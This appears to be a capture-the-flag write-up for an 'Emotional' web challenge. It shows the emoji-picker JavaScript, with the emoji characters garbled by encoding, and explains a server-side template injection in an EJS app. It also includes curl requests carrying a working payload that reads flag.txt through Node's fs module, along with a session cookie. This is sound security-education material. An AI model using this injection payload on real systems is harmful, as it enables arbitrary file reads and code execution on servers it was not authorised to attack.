๐ Emotional

const emojis = [
'๐', '๐', '๐', '๐', '๐', '๐
', '๐', '๐คฃ',
'๐', '๐', '๐', '๐', '๐', '๐', '๐ฅฐ', '๐',
'๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐คช',
'๐คจ', '๐ง', '๐ค', '๐', '๐คฉ', '๐ฅณ', '๐', '๐',
'๐', '๐', '๐', '๐', '๐', 'โน๏ธ', '๐ฃ', '๐',
'๐ซ', '๐ฉ', '๐ฅบ', '๐ข', '๐ญ', '๐ค', '๐ ', '๐ก',
'๐คฌ', '๐คฏ', '๐ณ', '๐ฅต', '๐ฅถ', '๐ฑ', '๐จ', '๐ฐ',
'๐ฅ', '๐', '๐ค', '๐ค', '๐คญ', '๐คซ', '๐คฅ', '๐ถ',
'๐', '๐', '๐ฌ', '๐', '๐ฏ', '๐ฆ', '๐ง', '๐ฎ',
'๐ฒ', '๐ฅฑ', '๐ด', '๐คค', '๐ช', '๐ต', '๐ค', '๐ฅด',
'๐คข', '๐คฎ', '๐คง', '๐ท', '๐ค', '๐ค', '๐ค', '๐ค ',
'๐', '๐ฟ', '๐น', '๐บ', '๐คก', '๐ฉ', '๐ป', '๐',
'โ ๏ธ', '๐ฝ', '๐พ', '๐ค', '๐', '๐บ', '๐ธ', '๐น',
'๐ป', '๐ผ', '๐ฝ', '๐', '๐ฟ', '๐พ', '๐', '๐',
'๐', '๐', '๐', '๐ค', '๐๏ธ', 'โ', '๐', '๐',
'๐ค', 'โ๏ธ', '๐ค', '๐ค', '๐ค', '๐ค', '๐', '๐',
'๐', '๐', '๐', 'โ๏ธ', '๐', '๐', '๐', 'โ',
'๐ค', '๐ค', '๐', '๐', '๐', '๐คฒ', '๐ค', '๐'
];
let selectedEmoji = "๐";
const emojiGrid = document.getElementById('emojiGrid');
emojis.forEach(emoji => {
const btn = document.createElement('button');
btn.className = 'emoji-btn';
btn.textContent = emoji;
btn.onclick = () => selectEmoji(emoji);
emojiGrid.appendChild(btn);
});
function selectEmoji(emoji) {
selectedEmoji = emoji;
document.getElementById('currentEmoji').textContent = emoji;
document.getElementById('selectedEmoji').textContent = emoji;
document.querySelectorAll('.emoji-btn').forEach(btn => {
btn.classList.remove('selected-emoji');
if (btn.textContent === emoji) {
btn.classList.add('selected-emoji');
}
});
}
selectEmoji(selectedEmoji);
John released the source cause things we're crashing, didn't help more than we had though, we were trying the SSTI EJS template injections

emotional.zip
Summary: This challenge exploited a Server-Side Template Injection (SSTI) vulnerability in an EJS template where user-controlled emoji input was directly concatenated into the template string before rendering, allowing arbitrary Node.js code execution to read the flag file.
How we determined this was the way:
By examining the server.js code, we identified that profile.emoji was being directly injected into the EJS template via data.replace(/<% profileEmoji %>/g, profile.emoji) before ejs.render() executed it, and the index.ejs file used <%- (unescaped output) syntax for selectedEmoji, meaning any EJS code we injected would be executed server-side.
How the request worked:
The payload <%- global.process.mainModule.require('fs').readFileSync('flag.txt','utf8') %> was stored as the emoji value, then when the homepage was loaded, the server's replace() injected our EJS code into the template, which was then executed by ejs.render(), causing Node.js to read and output the flag.txt contents into the rendered HTML.
Key insight:
The vulnerability chain had two stages: first, the /setEmoji endpoint stored our malicious EJS payload without validation, and second, the / endpoint's flawed string replacement mechanism allowed our payload to be interpreted as executable template code rather than plain text.

curl -X POST '<https://432c01de.proxy.coursestack.com/setEmoji>' \\
-H 'Cookie: token=432c01de-7e3b-4b57-a9ba-018de2f933b2_1_9f5812ff937019e9c70e1ad92308369f5e522426e954ff6d5bac135f13114e11' \\
-H 'Content-Type: application/json' \\
-d '{"emoji": "<%- global.process.mainModule.require('\\''fs'\\'').readFileSync('\\''flag.txt'\\'','\\''utf8'\\'') %>"}'
{"profileEmoji":"<%- global.process.mainModule.require('fs').readFileSync('flag.txt','utf8') %>"}
curl -X POST '<https://432c01de.proxy.coursestack.com/setEmoji>' \\
-H 'Cookie: token=432c01de-7e3b-4b57-a9ba-018de2f933b2_1_9f5812ff937019e9c70e1ad92308369f5e522426e954ff6d5bac135f13114e11' \\
-H 'Content-Type: application/json' \\
-d '{"emoji": "<%- global.process.mainModule.require('\\''fs'\\'').readFileSync('\\''flag.txt'\\'','\\''utf8'\\'') %>"}'
{"profileEmoji":"<%- global.process.mainModule.require('fs').readFileSync('flag.txt','utf8') %>"}
Had to mash the refresh to get it to reprint again